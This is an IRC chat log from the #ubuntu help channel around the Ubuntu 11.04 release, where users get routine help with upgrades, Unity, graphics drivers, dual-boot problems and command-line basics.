[16:30] <nick87720z> failed to upgrade to 10.10 :( i found topic, where it is discussed. Imho, it would be nice to allow to resolve problems , e.g., via synaptic (it it allowes).
[16:30] <PhoenixSTF> Roasted, it looks more like mac than actualy look like maveric
[16:30] <somethinginteres> Roasted_: the latest version that's landed in user updates is 3.8.10 but 3.8.12 is up on Launchpad. Hopefully it'll be available soon
[16:30] <LAcan> Ubuntu_user_, wait im confused... on that menu there was an option for ubuntu and for windos7 yes?
[16:30] <Bluebill-Wolf> what would you reccemend in its place?
[16:30] <PhoenixSTF> Roasted, I cant even find the system options like before
[16:30] <escott> econdudeawesome, then you need to edit your .bashrc
[16:30] <Roasted_> PhoenixSTF, well, no kidding... because maverick is a different version of ubuntu.
[16:31] <Roasted_> PhoenixSTF, well, yeah. it's a totally different interface.
[16:31] <theholder> any reason i can't update to ubuntu 11.04
[16:31] <John_Gate> I just installed natty narhwal on an "old" IBM laptop with 1,86GHz and ATI graphics. In the "Additional Drivers" application it it sais that no proprietary drivers are in use. Are there proprietary drivers that are better than the default ones, and if so, how do I get them?
[16:31] <Ubuntu_user_> LAcan:  yes first three were related to ubuntu and fourth was for windows 7
[16:31] <Roasted_> PhoenixSTF, with gnome moving towards gnome shell, we would have had to make the change at some point regardless. ubuntu just went with unity instead, which is very similar to gnome shell anyway.
[16:31] <coz_> theholder,  are you on 10.10 right now?
[16:31] <electronicboy_> i think that ubuntu 10.10's installer is faster that 11.04's :D
[16:32] <tie-joe> Hello
[16:32] <LAcan> Ubuntu_user_, ok. but once you selected windows, the NEXT TIME you booted, the ubuntu boot menu was gone, and instead you got "no OS found"?
[16:32] <coz_> electronicboy_,  unless you use the minimal install cd
[16:32] <PhoenixSTF> Roasted, totaly, is quite simple, very simple, i got to give credit to the dev team, but its way more complicated to get the system stuff that we need
[16:32] <somethinginteres> John_Gate: Usually natty should tell you about extra drivers. Try running "additional drivers" yourself
[16:32] <Sidewinder1> Hi tie
[16:32] <Ubuntu_user_> LAcan:  EXACTLY, you got the point
[16:32] <cdavis> how do I add remmina to the panel on 11.04? Or how do you add anything to the panel
[16:32] <H4VK1> how can I su into a user and be able to launch graphical applications?
[16:32] <escott> LAcan, Ubuntu_user_'s problem seems to be internal to Win7. grub is chainloading and win7 boot process is busted (happens from time to time when you resize ntfs)
[16:32] <LAcan> Ubuntu_user_, hrmm ok thats weird.
[16:32] <PhoenixSTF> Roasted, at least the menu stuff, otherwise terminal will be just fine
[16:32] <electronicboy_> minimal install cd?? isnt that the alternate cd?
[16:32] <somethinginteres> John_Gate: use the dash to search for "additional drivers" and run that and see how it goes
[16:32] <Ubuntu_user_> LAcan:  really it is
[16:32] <econdudeawesome> escott: How would you change the background color then?
[16:32] <Roasted_> PhoenixSTF, the important thing is to be open minded. I HATED unity and gnome shell. I used gnome shell at the end of last summer and I hated it. But you know... I used it more. I got to know it. And now that unity is here I'm using it more too.
[16:32] <coz_> John_Gate,   run  jockeyt-gtk
[16:32] <LAcan> Ubuntu_user_, ok so how did you boot into ubuntu THIS time?
[16:32] <[diablo]> afternoon all... does anyone please know how in 11.04 (Ubuntu Classic), I can get the widget scroll bars not to do that annoying hiding, it's been driving me crazy
[16:33] <Bluebill-Wolf> as far as an antivirus what would you guys reccomend?
[16:33] <Ubuntu_user_> LAcan:  i am on windows
[16:33] <escott> Ubuntu_user_, oooh thats different you mean you can boot Win7 but then you have no bootloader afterwards?
[16:33] <John_Gate> somethinginteres: I start "Additional Drivers" but no drivers are displayed in the list..
[16:33] <LAcan> Ubuntu_user_, Ok.. how did you manage to boot windows if "no OS found"?
[16:33] <Roasted_> PhoenixSTF, it'll take time. there will be headaches, frustrations, etc. But this is a unique opportunity for linux as a whole to provide a new interface that people can interact with differently than windows and mac could ever hope to. love unity or hate it, love gnome shell or hate it, both offer great features i fyou give it the time to adjust.
[16:33] <Roasted_> PhoenixSTF, that's my opinion, at least.
[16:33] <coz_> [diablo],  oh you mean that scroll bar overlay thingie|
[16:33] <TerryBook> necrotik:  I just found this via google, it may help:  http://theironlion.net/blog/2010/09/20/ubuntu-lucid-nvidia-and-hdmi-sound/
[16:33] <aleksey> привет народ
[16:33] <[diablo]> hi coz_ yep thats the one
[16:33] <Ubuntu_user_> escott:  yes
[16:33] <escott> econdudeawesome, google for bash color prompt
[16:33] <tie-joe> I need help.. my  sound wont work.
[16:34] <arand> !ru | aleksey
[16:34] <ubottu> aleksey: Пожалуйста посетите #ubuntu-ru для получения помощи на русском языке  / Pozhalujsta posetite /join #ubuntu-ru dlya polucheniya pomoshi na russkom yazyke
[16:34] <somethinginteres> [diablo]: try uninstalling the package "overlay-scrollbars"
[16:34] <ruan> quick question about natty, when will it ask me between classic gnome and unity?
[16:34] <ruan> while upgrading
[16:34] <PhoenixSTF> Roasted, I never used gnomeshell so its quite a shock for me, but yes i will adapt, anything is better then windows IMO, it was just a bit of a shock, gonna take me some time to adjust
[16:34] <somethinginteres> [diablo]: sorry "overlay-scrollbar"
[16:34] <escott> Ubuntu_user_, you have two disks yes? windows on sda and ubuntu on sdb. did you know where grub was installed? sda or sdb?
[16:34] <coz_> [diablo],   are you on the unity desktop or classic,,,?? you said classic ...yes?
[16:34] <Sidewinder1> Bluebill-Wolf, You might take a look at ClamAV
[16:34] <arand> ruan: No, you need to chose it at login
[16:34] <Roasted_> PhoenixSTF, like I said, I hated unity and gnome shell for weeks. many weeks.
[16:34] <ruan> arand: thanks
[16:34] <ruan> was wondering
[16:34] <Roasted_> PhoenixSTF, but now that I'm getting used to it, I'm turning into a little bit of a fanboy :P
[16:34] <[diablo]> somethinginteres coz_ im in classic... not a fan of Unity at all
[16:34] <meisth0th> ruan, but gnome won't be an option later
[16:35] <coz_> [diablo],  are you also running  compiz?
[16:35] <ruan> meisth0th: i'll be using gnome3 if they force unity
[16:35] <Sidewinder1> Bluebill-Wolf, I believe that it's in the repositories.
[16:35] <[diablo]> coz_, yep
[16:35] <nealmcb> Re: my /media/cdrom/cdromupgrade question - this only works for the alternate install cdrom....
[16:35] <Ubuntu_user_> LAcan:  After problem i put Live CD in and reinstalled ubuntu, that repaired bootloader, then booted to windows deleted the drives of ubuntu and used mbr repair utility to clear all ubuntu records
[16:35] <ruan> meisth0th: if g3 doesnt work, then kde
[16:35] <escott> econdudeawesome, unless you want a non-black framebuffer background... and I have no idea how that is done
[16:35] <PhoenixSTF> Roasted, xD will I hatting it for now, in the future ok i might like, but i miss the menus! god how i miss the menus!!!!!!
[16:35] <H4VK1> how can I su into a user and enable graphical applications? (like shh'ing with the -x command)
[16:35] <meisth0th> ruan, i don't think any of desktop environments isn't on the way to good :)
[16:35] <coz_> [diablo],  ok open ccsm,, I believe we have a plugin at the bottom of th e list for that    although I havent tested it ,, sam put one in there  ,, give a try by either disabling it or clicking on it to see available options,, I cant get into it right now
[16:36] <LAcan> Ubuntu_user_, ok download a freeware app called "EasyBCD" for windows
[16:36] <tie-joe> I need help   i have no sound!
[16:36] <Ubuntu_user_> escott:  yes i have two drives on same HDD, but dont know where grub went
[16:36] <bigbrovar> I have been unable to install kubuntu natty on my hp probook 4420 laptop, livecd always hangs while loading :/
[16:36] <[diablo]> coz_, ok sweet... thanks yeah
[16:36] <escott> Ubuntu_user_, you mean you have 1 drive and two partitions
[16:36] <somethinginteres> John_Gate: it would appear you're out of luck, try joining the channel #ati to ask for help
[16:36] <Ubuntu_user_> LAcan: used the same one
[16:36] <cdavis> How do you add somethign to the panel in natty?
[16:36] <ruan> bigbrovar: and classic install(alternate)
[16:36] <ruan> bigbrovar: ?
[16:36] <Ubuntu_user_> escott:  yes
[16:36] <Holek> ActionParsnip: okay, now that I disabled metacity, it looks better
[16:36] <ruan> !alternate
[16:36] <ubottu> The Alternate CD is a classic text-mode install CD. It supports a wider range of hardware than the !LiveCD, and can also be used as an upgrade CD. http://www.ubuntu.com/download/ubuntu/alternative-download#alternate - See also !minimal
[16:36] <coz_> [diablo],  let me know if you can adjust it from there
[16:36] <John_Gate> somethinginteres: that for that channel, I will join it!
[16:36] <LAcan> Ubuntu_user_, ok, then make sure your windows menu looks legit then add an entry for your ubunut partition...
[16:36] <root_> hey
[16:37] <bigbrovar> ruan: I haven't tried but I doubt that would work, it seems to be a kernel issue
[16:37] <[diablo]> coz_, yeah just checking now
[16:37] <escott> H4VK1, unclear what you mean. gksudo doesn't work?
[16:37] <Sidewinder1> !sound > tie-joe
[16:37] <bigbrovar> ruan: during any *buntu install the system hangs even before the bootsplash is done loading
[16:37] <ubottu> tie-joe, please see my private message
[16:37] <Holek> ActionParsnip: but still doesn't give me any way to customize it
[16:37] <Ubuntu_user_> LAcan:  so you want to say i should boot windows after installing ubuntu then go to widows boot.ini and add a ubuntu record there
[16:38] <LAcan> Ubuntu_user_, no, win7 doesnt use boot.ini
[16:38] <NOC> need help .. may i ask?
[16:38] <birdybee> so, just upgraded to natty on my laptop, and i can't seem to activate nvidia drivers for acceleration anymore...
[16:38] <escott> !help | NOC
[16:38] <ubottu> NOC: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[16:38] <[Soma]> Anyone got any idea how I can add a "view workspace" button to my app launcher in unity? And also, how do I customise the size of the top-bar (with my username, the time, etc in it)
[16:38] <LAcan> Ubuntu_user_, i want you to boot windows and using EasyBCD add an entry for "linux" in its options
[16:38] <nitroxidus> Hi.I have 11.04 beta 2 installed how do i upgrade to 11.04 rc
[16:38] <[diablo]> mmmm coz_ cant seem to find it
[16:38] <Logan_> !final | nitroxidus
[16:38] <ubottu> nitroxidus: If you install a development version of Ubuntu Natty and keep up with package updates, then you will be upgraded to the official release of 11.04 when it comes out. To make sure, type « sudo apt-get update && sudo apt-get dist-upgrade » in a console.
[16:38] <[diablo]> coz_, in ccsm
[16:38] <coz_> [Soma],   the worspace switcher  should do that
[16:38] <The-Kernel_> I ran out of space in "/" is there a safe way to alocate some space from /home to "/"?
[16:38] <echo2> how do i get unity working in vmware
[16:39] <nitroxidus> ok
[16:39] <coz_> [diablo],  ah darn,,  let me check ,, hold on
[16:39] <NOC> i need to enable email sending from my fresh ubuntu sending from apache php webpage .. what should i do?
[16:39] <Logan_> !vmware | echo2
[16:39] <ubottu> echo2: VMWare is not available in the Ubuntu repositories. Consider using !QEmu or !VirtualBox as alternatives. Instructions for installing VMWare manually are at https://help.ubuntu.com/community/VMware
[16:39] <ruan> The-Kernel_: gparted from a livecd
[16:39] <Ubuntu_user_> LAcan: okay i would do that, but tell me one thing will it also make that location primary to check first for OS's
[16:39] <[Soma]> okay, coz_ , then what about the top nav bar? I'd love to have that at the bottom, and a lot bigger than it is. I'm on 1920x1080 and it's *tiny*
[16:39] <PhoenixSTF> ok guys i need some help, How do i put the System Resources um on the bar?
[16:39] <NOC> should i install mailserver?
[16:39] <ActionParsnip> nitroxidus: just run your upgrades and you will get it
[16:39] <escott> The-Kernel_, ehhhh not really. if they are adjacent you could boot the live cd and shrink/move/grow partitions as needed
[16:39] <Bluebill-Wolf> hmm is ClamAV freeware ?
[16:39] <The-Kernel_> ruan, that won't destroy my data?
[16:39] <ruan> Bluebill-Wolf: yes
[16:40] <coz_> [diablo],  sorry ,, I am on 10.10 right now and my ccsm   /  libc  is bad in  11.04  so I cant access  ccsm from there
[16:40] <GuataPeluda> hello
[16:40] <ruan> !info clamav
[16:40] <ubottu> clamav (source: clamav): anti-virus utility for Unix - command-line interface. In component main, is optional. Version 0.97+dfsg-2ubuntu1 (natty), package size 123 kB, installed size 592 kB
[16:40] <Wickk> I upgraded to 11.04 this morning and since when running under unity/gnome2 none of my windows get their window decorations drawn
[16:40] <ActionParsnip> The-Kernel_: remove unnecessary kernels to save lots of space
[16:40] <Bluebill-Wolf> much obliged
[16:40] <escott> The-Kernel_, but its really time-consuming
[16:40] <coz_> [diablo],   check in synaptic to see if the compiz-plugins extra are installed
[16:40] <LAcan> Ubuntu_user_, windows really likes to be primary, so your best bet is yo use windows boot menu and ad an entry that points to your ubuntu partition... then when u boot u can pick either OS or switch between grub and winload.exe
[16:40] <ActionParsnip> Wickk: what video chip?
[16:40] <[diablo]> coz_, np ... at least I know where to be looking... many thanks yeah
[16:40] <Wickk> ActionParsnip, ATI HD Radeon 4650
[16:41] <echo2> how do i get unity working in vmware
[16:41] <coz_> [diablo],  as i recal from 2 days ago... there was a plugin for it  but  again I will have to reinstall to find out :(
[16:41] <LAcan> Ubuntu_user_, basically you want to make an entry for windows in grub (u already have it seems) and make an entry for ubuntu in windows...
[16:41] <Holek> ActionParsnip: that's the level of configuration I'm looking for: http://imgur.com/O4HGK
[16:41] <escott> NOC, install smtp-server
[16:41] <ActionParsnip> Wickk: did you try removing the proprietary driver then reinstalling it after a reboot?
[16:41] <Wickk> ActionParsnip, I have not I'll do that now
[16:41] <Sidewinder1> Bluebill-Wolf, Clamav is in the repositories.
[16:41] <LAcan> Ubuntu_user_, make sure you are not deleting any entries to either, you are just adding them
[16:41] <Bluebill-Wolf> as in Klam av?
[16:41] <GuataPeluda> hi, I use 10.10 x86 and recently noticed my laptop supports 64bits... is there any way to upgrade to 11.04 64bits from 10.10 x86 with no loss at all?
[16:41]  * LAcan is going for coffee and cigarettes, back in 5.
[16:42] <ActionParsnip> Holek: then install emerald and run:   emerald --replace
[16:42] <Ubuntu_user_> LAcan: okay  i am gonna try it with 110.04 today, will you be on irc tommarow
[16:42] <Bluebill-Wolf> its what poped up when in the ubuntu soft center
[16:42] <escott> GuataPeluda, no, do a reinstall
[16:42] <Ubuntu_user_> **11.04
[16:42] <echo2> how do i get unity working in vmware
[16:42] <ActionParsnip> Holek: I don't theme much, it really doesn't interest me so you are asking the wrong guy
[16:42] <coz_> echo2,  I dont think you will
[16:42] <LAcan> Ubuntu_user_, its not a ubunut rpoblem man, its a winload.exe problem. reinstaling ubuntu wont do jack
[16:42] <GuataPeluda> escott thanks
[16:42] <Sidewinder1> Bluebill-Wolf, No, clamav
[16:42] <Holek> ActionParsnip: and that brings me to my first sentence: emerald gives me segfault
[16:42] <Fopp> Hi guys, Im trying to update to 11.04, but when I click upgrade in update manager, I get told "Could not download release notes Please check your internet connection." An suggestions, guys? thanks!
[16:42] <echo2> coz, it's not optional
[16:42] <echo2> vmware supports 3d
[16:42] <echo2> aero, etc works
[16:42] <Logan_> echo2: It is not in the Ubuntu repository, and thus we cannot support it here.
[16:42] <escott> Ubuntu_user_, give the windows rescue cd a try
[16:42] <echo2> what.
[16:42] <nitroxidus> how do i check if im not on ubun tu 11.04 beta 2 i did sudo update and upgrade
[16:42] <echo2> its ubuntu itself
[16:42] <Logan_> echo2: Join #vmware for help.
[16:42] <braadli> hi all - having upgrade issues; I downloaded the alternative iso, hoping to avoid load on upgrade servers (the iso can be got over bittorrent), but when installing it, it still decides to obtain all packages from remote servers and not the mounted ISO or bootable USB made from the ISO. Why?
[16:43] <ruan> !version
[16:43] <ubottu> To find out what version of Ubuntu you have, type « lsb_release -a » in a !shell - To know the available version of a package, « apt-cache policy <package> »
[16:43] <Ubuntu_user_> LAcan:  this time dont have any Ubuntu installed
[16:43] <echo2> its your guys fuckin issue
[16:43] <echo2> its not vmwares fault
[16:43] <Logan_> !language | echo2
[16:43] <ubottu> echo2: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[16:43] <echo2> 3d is supported, etc
[16:43] <Bluebill-Wolf> Sidewinder1 mind if i pm you i keep loseing track of what your saying
[16:43] <echo2> i can go do the opengl demos etc
[16:43] <echo2> how do i force unity to start
[16:43] <Logan_> !pm | Bluebill-Wolf
[16:43] <ruan> nitroxidus: lsb_release  -a
[16:43] <ubottu> Bluebill-Wolf: Please ask your questions in the channel so that other people can help you, benefit from your questions and answers, and ensure that you're not getting bad advice. Please note that some people find it rude to be sent a PM without being asked for permission to do so first.
[16:43] <Ubuntu_user_> escott:  yes had tried it and no boot menu had appeared.
[16:43] <ToeKutter> I cant get the Unity2D panel working in Vmware for anything... blah
[16:43] <Roasted_> Is there a way to adjust Ubuntu so it doesnt require a PW when resuming from suspend mode?
[16:43] <escott> echo2, please watch the language
[16:43] <ActionParsnip> Holek: try renaming the folder holding the emerald config
[16:43] <Sidewinder1> Bluebill-Wolf,  Go rught ahead. :-)
[16:43] <Sidewinder1> right
[16:43] <escott> echo2, make sure you have installed any available guest additions
[16:44] <echo2> i did
[16:44] <mang0> Guys, my ubuntu 10.10 livecd won't install...it won't mount my drives, and it won't connect the internet with my broadcom wifi card (i know the model)....it's very annoying as I  really wanna dump windows LOL. Someone suggested that I try 10.04, but I don't want to burn a new cd. I thought I could use daemon tools to run the .iso, would that work?
[16:44]  * Bluebill-Wolf nods "i'm just trying to make certin i am understanding what is being told to me is clear then i can conferm as well"
[16:44] <spvensko> did they do away with netbook edition for 11.04?
[16:44] <Ubuntu_user_> okay i will create a video of the same problem  and upload it to youtube on my channel. please have a look of it
[16:44] <tashkas> i have problem whit iptv on eth0 its working on eth1 it dont
[16:44] <ActionParsnip> mang0: you don't mount drives, you mount partitions
[16:44] <H4VK1> escott: I didn't know about gksu, it doesn't work though.. I am using it right aren't I? "gksu -u <user> nautilus" -- that just makes a password box pop up then nothing happens
[16:45] <cdavis> How do you add something to the panel in natty?
[16:45] <mang0> okay, well It won't mount my partitions
[16:45] <ActionParsnip> mang0: did you test the CD for defects wen it started to boot?
[16:45] <somethinginteres> mang0: what do you mean by "won't install"?
[16:45] <escott> mang0, broadcom often takes some post install config best to work from ethernet, can you describe your mounting problem better
[16:45] <mang0> okay
[16:45] <mang0> let me write this better in pasteall.org
[16:45] <Fopp> Hi guys, Im trying to update to 11.04, but when I click upgrade in update manager, I get told "Could not download release notes Please check your internet connection." An suggestions, guys? thanks!
[16:45] <ScottONanski> How do I make IRC rooms show up in the Empathy user list?
[16:45] <tashkas> can somebody help me whit iptables farwarding?
[16:45] <escott> H4VK1, what are you trying to accomplish?
[16:45] <Holek> ActionParsnip: $ emerald --replace
[16:45] <Holek> Segmentation fault
[16:45] <Omega> cdavis: open the application and right click on the icon, select "Keep in Launcher"
[16:45] <ActionParsnip> cdavis: do you mean the unity panel on the left or the top panel?
[16:45] <Holek> ActionParsnip: so, no effectr
[16:46] <flipp> Fopp maybe the ubuntu servers are overloaded or you could just check your internet connecntion
[16:46] <cdavis> ActionParsnip: the top panel
[16:46] <Logan_> spvensko: Yes.
[16:46] <ActionParsnip> Holek: try the emerald irc channel (if they have one), or ask in #compiz
[16:46] <ScottONanski> How do I make Irc channels show up in the Empathy user list?
[16:46] <Ubuntu_user_> escott:  LAcan  intrestingly if i install ubuntu using option "Install inside windows" i am able to use both as fine as two windows
[16:46] <Fopp> flipp: well, the internet is fine, hence im here. Its probably the former, since its release day and all. thanks.
[16:46] <Fredje> Hi
[16:46] <ruan> Fopp: as flipp said, connection or server. you can switch your upgrade server though
[16:46] <cdavis> ActionParsnip: I want to add Remminal to the top panel
[16:46] <spvensko> ah, okay, ty Logan_
[16:46] <cdavis> ActionParsnip: s/Remminal/Remmina/
[16:46] <Logan_> spvensko: You're welcome.  11.04 should work just fine on netbooks.
[16:47] <escott> Ubuntu_user_, huh? do you mean wubi. are you trying to install from within a virtual machine?
[16:47] <ActionParsnip> cdavis: not sure, as far asa I've seen its not very changable, if you boot to the normal desktop and start unity then you may be able to add stuff
[16:47] <sturd> trying to install ia32-libs from a ppa (the ubuntu servers are SWAMPED!!), to get utorrent server running, so I can join the mass-share of the Ubuntu iso files.  Transmission just doesn't give a good upload rate in comparison.
[16:47] <NOC> i need to enable email sending from my fresh ubuntu sending from apache php webpage .. what should i do?
[16:47] <ScottONanski> How do I make Irc channels show up in Empathy's user list?
[16:47] <birdybee> apparently, jockey(?) says the drivers are installed, but not activated. but my x log says direct rendering is yes. and nvidia settings says everything is a-ok. glxgears is running, but i can't get unity to load, i just get shunted back to classic 2d
[16:47] <H4VK1> escott: just open nautilus as another user -- I've created a different user as a sandbox so I can hopefully not muck up anything other than a single folder.
[16:47] <Fredje> Has anybody some experience with ltsp?
[16:47] <escott> H4VK1, gksudo will run as root, gksu -u username will ask for that users username
[16:47] <xgt001> hey every1
[16:48] <Ubuntu_user_> escott:  in the end i had given it a try
[16:48] <bilal> congratssss to all natty has been released
[16:48] <Ubuntu_user_> escott:  but all those errors arrived when i install as full using live cd
[16:48] <escott> H4VK1, if you have a shell for the other user you may need to fiddle with xauth to make stuff work, but gksu* will take care of that for you
[16:48] <tashkas> anybody can help me whit iptables??
[16:48] <xgt001> can anybody tell me how to restore aptoncd iso image without burning cd/dvd using a pendrive???
[16:48] <stevie-bash> I do add IP addresses via "ip a add" command from a script. Since this isn't reboot safe I wanted to add the "ip a add" command to rc.local. Is this a good way?
[16:48] <flipp> has anybody seen my usb key? hmpf i think i lost it ... hmm i wanted to install ubuntu via usb but i cant find my usb key .... -.-
[16:48] <GuataPeluda> tonite I'll upgrade to natty =)
[16:48] <Eduard> guys, does anybody know, if broken dependency  problem with nvidia-96 was fixed in 11.04?
[16:49] <xgt001> can anybody tell me how to restore aptoncd iso image without burning cd/dvd using a pendrive???
[16:49] <other_max> hey guys, can anyone tell me how to install ubuntu on a non-ubuntu linux netbook (no CD) with arch linux on it?
[16:49] <cdavis> ActionParsnip: Thanks, I really liked having all of my rdesktop servers in one list. I will look for something else.
[16:49] <Ubuntu_user_> escott:  i think what LAcan  has suggested is gonna work. But will you guys be here tommarow
[16:49] <other_max> or even how do i make an image for USB to boot a linux machine, can't find that on the site
[16:49] <cdavis> other_max: do a USB stick install
[16:50] <other_max> cdavis: i tried, but i can't find a way to put the image on a USB if i don't already have ubuntu
[16:50] <thien> can anyone help me to merge a partition to /home partition
[16:50] <xgt001> other_max: use universal usb installer from pendrivelinux.com
[16:50] <The-Kernel_> I don't think I need 22 kernels
[16:50] <birdybee> hm, correction, additional drivers says the nvidia drivers are activated, but not in use... what does that mean?
[16:50] <birdybee> and how to "use" them?
[16:51]  * LAcan is back.
[16:51] <mick_laptop> anyone know of a mirror for 11.04 server for i386?
[16:51] <mick_laptop> seems like it is down for all mirrors :(
[16:51] <mick_laptop> http://ftp.utexas.edu/ubuntu-iso/CDs//natty/ubuntu-11.04-server-i386.iso
[16:51] <alex__> olek201
[16:51] <mick_laptop> example ^^^
[16:51] <cdavis> other_max: there is program that will help, but I can't think of it. Give me a second...
[16:51] <xgt001> can anybody tell me how to restore aptoncd iso image without burning cd/dvd using a pendrive???
[16:52] <burg> hello. i have ubuntu 11.04 64bit, and network manager (the one from upper bar) sais: wired network: device not managed. how can i make it to manage wired network?
[16:52] <ActionParsnip> The-Kernel_: no, I suggest you remove the oldest ones, you only really need 2, each kernel is about 120Mb
[16:52] <cdavis> other_max: http://unetbootin.sourceforge.net/
[16:53] <marel> how do I gain root privilegies so I don't have to type sudo all the time ?
[16:53] <DirtyDawg> does anyone have any ideas as to why 11.04 install is so dim i cant see what it says lol?
[16:53] <ScottR3> marel: su
[16:53] <escott> marel, sudo -
[16:53] <other_max> cdavis: ah yea, tried tht with the last ubuntu version, didn't work (just wouldn't do anything when i started it) but thx i'll try again with 11.04
[16:53] <braadli> hi everyone - has anyone managed to upgrade relying solely on the alternative cd, rather than from the remote upgrade server?
[16:53] <braadli> i'm trying to do so in order to avoid adding load to that server, which is crawling already
[16:53] <ActionParsnip> burg: did you specify the network parameters for the wired link in /etc/network/interfaces by any chance?
[16:53] <other_max> how is 11.04 so far?
[16:53] <usr13> burg: Well, not sure about that one, but you could switch to wicd.
[16:53] <escott> marel, sudo -i sorry
[16:53] <somethinginteres> burg: Right click on network manager click "edit connections"
[16:53] <ActionParsnip> marel: sudo -i
[16:54] <ActionParsnip> other_max: been fine here since alpha 2
[16:54] <andeeeuk> is anyone having problems with their wireless connection at the moment?
[16:54] <arand> DirtyDawg: I would guess at acpi issues, try booting with acpi=off
[16:54] <agrab> Are there 3 drivers available for ati/amd-cards? the default "radeon" driver, fglrx and the catalyst driver?
[16:54] <w30> marel, try sudo -i
[16:54] <somethinginteres> burg: should be able to set it up from there
[16:54] <ScottR3> other_max: unless I can customize some of the options I can't find menus for, I'm going back to gnome2. Biggest complaint
[16:54] <thauriswulfa> can i install ubuntu 11.04 on sys. with 512 ram
[16:54] <DirtyDawg> hmm ok
[16:54] <philsf> I don't have a pidgin indicator in the messaging menu anymore. How can I re-enable it? I've been using natty since beta
[16:54] <cdavis> other_max: I think there might have been a bug I remember. When prompted, don't just hit enter, go into the menu and choose the default. That seems like how I  got around it
[16:54] <birdybee> 11.04 so far has been less than stellar ... :(
[16:54] <escott> ScottR3, su won't work for most people as out of the box there is no root password
[16:54] <andeeeuk> seems as though its on and on
[16:54] <ActionParsnip> agrab: radeon, radeonhd, ati and frglrx
[16:54] <ScottR3> escott: you're right, sorry. forget these things sometimes ;)
[16:54] <other_max> i'm all for a new desktop. kde stinks, gnome not much better. windows and mac desktops barely better. time for change.
[16:54] <vibhav> hi everybody again!
[16:55] <ActionParsnip> other_max: try LXDE :)
[16:55] <vibhav> UNITY ROCKS!
[16:55] <agrab> ActionParsnip, Ah, thanks. which is the better of the proprietary ones?
[16:55] <marel> how do I remove a dir with all contents in it ?
[16:55] <ActionParsnip> agrab: depends on needs
[16:55] <other_max> actionparnsip: i use awesome wm on my arch netbook right now
[16:55] <ruan> other_max: tried gnome3?
[16:55] <other_max> ruan: not yet
[16:55] <escott> ScottR3, np
[16:55] <usr13> burg: You can use iwconfig to manually acquire a network connection and if you want to switch to wicd:  sudo apt-get install wicd ; sudo apt-get remove network-manager
[16:55] <ruan> im going to try it really soon
[16:55] <escott> marel, rm -rf foldernmae
[16:55] <shane4ubuntu> marel: command line?
[16:55] <marel> shane4ubuntu, yeah
[16:55] <ActionParsnip> agrab: for most things the open source driver is fine, if you need full 3D goodness (an your chip is supported by it) then the frglrx driver will be needed
[16:56] <escott> marel, be very careful before doing something like that as root
[16:56] <vibhav> <other_max> If you think it sucks that try to make your own shell, you will realize how difficult it is , so better respect the work done by devels
[16:56] <ScottR3> so I've got a few questions on how to, er, fix some of the customizations unity has taken liberty with
[16:56] <shane4ubuntu> marel: like escott said, rm -rf foldername  be carefull with that though
[16:56] <usr13> andeeeuk: What is your problem?
[16:56] <ScottR3> 1) how do I move the launcher? it's on the left side of my right-hand monitor...
[16:56] <TheXero> Anyone know of a good way to partition ubuntu for a 64GB SSD with a 640GB for storage?
[16:57] <graingert> heya
[16:57] <andeeeuk> usr13: well it seems a bit temporamental
[16:57] <andeeeuk> on and off
[16:57] <vibhav> at last installed 11.04 it rocks!
[16:57] <burg_> i have ubuntu 11.04, 64 bit, with gnome, and i can`t see the top menu(under the title bar) for no application anymore - why?
[16:57] <Sal9000> isn't 11.04 supposed to have unity? i installed it but it just loads gnome...
[16:57] <graingert> on my eeepc 1005PE the touchpad is disabled on the live install
[16:57] <Hedgehog456> Is the Natty upgrade service down?
[16:57] <escott> TheXero, if you mean you have an ssd and a hdd I would put / on the ssd to improve boot and put /home on the hdd
[16:57] <econdudeawesome> Does anyone know how to change the background on the OS CLI? I have read through a few bash how-tos and can't seem tog et it to work--they recommend editing ~/.bashrc, but that is user-specific. It appears I need to edit something more?
[16:57] <braadli> has anybody managed to update to natty without relying on the update server (i.e., on the alternative iso?)
[16:57] <usr13> andeeeuk: Does it just get dissabled or what?
[16:57] <bigbrovar> anyone able to install natty on an hp probook 4420s? all of the buntus I tired frooze while loading :/
[16:58] <vibhav> <Sal9000> your GPU is not is not enough for unity
[16:58] <escott> econdudeawesome, there is a bash profile in /etc which would be a global option
[16:58] <TheXero> Yeah that's what I meant escott :)
[16:58] <somethinginteres> Hedgehog456: not sure, here in AU the package information doesn't seem to be updating
[16:58] <graingert> Sal9000: try unity-3d
[16:58] <andeeeuk> it does not disable at all
[16:58] <graingert> Sal9000: try unity-2d
[16:58] <TheXero> Logs etc are in /var/log correct?
[16:58] <andeeeuk> just seems very slow
[16:58] <mang0> Okay guys, my post is written: http://www.pasteall.org/21214/text
[16:58] <Sal9000> graingert: oh i might have forgotten to enable 3d in the virtualbox vm
[16:58] <escott> TheXero, yes
[16:58] <fizk_> is everyone getting a slow connection, or is it just me?
[16:58] <Hedgehog456> somethinginteres: Here in Britain my internet connection is fine but Natty won't upgrade
[16:58] <fizk_> upgrading to 11.04
[16:58] <philsf> I don't have a pidgin indicator in the messaging menu anymore (in natty). How can I re-enable it?
[16:59] <usr13> andeeeuk: what is the signal strength look like?  iwconfig | pastebinit
[16:59] <mang0> somethinginteres , escott , ActionParsnip: http://www.pasteall.org/21214/text
[16:59] <shane4ubuntu> fizk_: servers are overloaded, best off downloading the torrent, getting a disk and upgrading that way, alt-disk
[16:59] <ScottR3> fizk_: took me 2.5 hours just to download the packages :-/
[16:59] <cdavis> Is Virtualbox-ose not available for natty? I don't see the repo listed on virtualbox's site
[16:59] <TheXero> I was going to put /tmp on the hard drive, as I only have 6 GB of ram and I host a few vm's as well
[16:59] <burg_> how can i enable title bar menus in all aplications in ubuntu 11.04 ? because i can`t see it anymore. i have gnome
[16:59] <Sal9000> oh, there it is :)
[16:59] <Hedgehog456> Never knew Ubuntu was this popular :D
[16:59] <TheXero> What other partitions should I look at moving to the hard drive?
[16:59] <fizk_> ScottR3, dam
[16:59] <econdudeawesome> escott: is this bash profile in /etc the one that is used at startup?
[17:00] <usr13> andeeeuk: ... and send resulting URL for us to see.
[17:00] <marel> I'm trying to install software that came in a tarball and I've read on forums that first I have to ./configure, however it says no such a file or directory.. What am I doing wrong ?
[17:00] <escott> econdudeawesome, is the color prompt actually what you want? or are you trying to change background colors
[17:00] <econdudeawesome> escott: just the background color
[17:00] <usr13> marel: What exactly are you installing?
[17:00] <econdudeawesome> escott: it's purple, I want to change it to black
[17:00] <graingert> touchpad worked after a reboot
